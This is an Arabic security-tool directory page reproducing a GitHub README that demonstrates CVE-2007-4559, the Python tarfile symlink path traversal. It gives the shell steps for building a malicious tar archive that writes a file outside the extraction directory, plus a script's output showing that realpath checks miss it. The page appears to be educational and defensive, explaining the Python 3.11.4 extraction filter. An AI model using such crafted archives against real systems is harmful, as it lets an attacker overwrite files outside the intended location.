Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2007-4559 — عرض تعليمي لهجوم CVE-2007-4559 على الروابط الرمزية لـ tarfile في بايثون مع سكربت يوضح لماذا تفشل os.path.realpath() في منع الاستخراج خارج الأدلة المقصودة. | Kitploit
أدوات/GitHubGitHub/davidholiday/cve-2007-4559
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن سلسلة التوريدالتعلم والتعليم
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

عرض تعليمي لهجوم CVE-2007-4559 على الروابط الرمزية لـ tarfile في بايثون مع سكربت يوضح لماذا تفشل os.path.realpath() في منع الاستخراج خارج الأدلة المقصودة.

عرض المستودع
1منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

عرض توضيحي لـ CVE-2007-4559

ما هذا؟

هذا عرض توضيحي لكيفية تعرض المعالجة الافتراضية لاستخراج ملفات tar في بايثون قبل الإصدار 3.11.4 لهجوم رابط رمزي بسيط. تصف التعليمات أدناه كيفية إنشاء حمولة ضارة. يوضح السكريبت untar.py كيف ولماذا تعمل الميزات المضافة في 3.11.4 - وتحديداً ضرورة استدعاء شيء مثل os.path.realpath() قبل كل كتابة لكل ملف. يستخدم السكريبت نفس طريقة الفحص الموجودة في ميزة extraction filter المضمنة في بايثون >= 3.11.4 باستثناء أنه لا يكتب الملفات على القرص. وبالتالي يوضح كيف أن os.path.realpath() غير قادر على حل الروابط الرمزية بشكل صحيح، وبالتالي سيسمح بكتابة أعضاء tar خارج موقع نظام الملفات المقصود.

ما الموجود هنا؟

  • تعليمات (هذا الملف) حول كيفية إعداد البيئة التجريبية وملف tar الضار.
  • سكريبت بايثون untar.py الذي سيوضح 'السبب' وراء التنفيذ الحديث لتحسين التحقق من صحة tar في مكتبة tarfile الخاصة ببايثون. بسبب طريقة عمل os.path.realpath()، لا يمكنك الاعتماد عليها لحل الروابط الرمزية إلا إذا كانت تلك الروابط موجودة بالفعل على نظام الملفات. هذا يعني أنه لا يمكنك الاعتماد على os.path.realpath() وحدها لفحص مسارات أعضاء tar قبل استخراج الأرشيف. يجب بدلاً من ذلك استدعاء os.path.realpath() قبل كل كتابة لكل عضو في الأرشيف لضمان اكتشاف نشاط الرابط الضار. انظر PEP-706 و tarfile doc لمزيد من المعلومات.

إنشاء البيئة وملف tar الضار

  1. إنشاء بيئة اختبار
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. إضافة المجلد ./lib إلى أرشيف tar
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. استبدال المجلد ./lib برابط رمزي بنفس الاسم يشير إلى "."
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. إضافة الرابط الرمزي "lib" إلى الأرشيف
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. استبدال الرابط الرمزي "lib" بمجلد وملف
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. إضافة ملف إلى الأرشيف باستخدام مسار نسبي
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. نسخ tar إلى المجلد الهدف
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. فك ضغط tar. تم فك ضغط "dangerous_file" خارج المجلد الهدف
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

استخدام سكريبت بايثون

  1. قم بتنزيل untar.py من هذا المستودع وضعه في المجلد ./lab
  2. قم بتشغيل السكريبت. لاحظ مدى سهولة خداع os.path.realpath() عندما لم يتم بعد كتابة الرابط الرمزي الضار على نظام الملفات الهدف.
root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

قراءة إضافية

  • [Python-Dev] ثغرة tarfile واجتياز الدليل
  • تنبيه: ثغرة في tarfile بايثون عمرها 15 عاماً تكمن في أكثر من 350,000 مشروع برمجي
  • منشور على Stack Overflow حول كيفية استخراج أرشيفات tar بأمان قبل الميزات الجديدة لبايثون 3.11.4
  • مشكلة بايثون 21109
  • بيان 2022 من المشرف الطويل الأمد [متقاعد 2019] لمكتبة tarlib
  • تطبيق ميزة مرشح الاستخراج الجديدة المقدمة في بايثون 3.11.4
تنزيل الأداة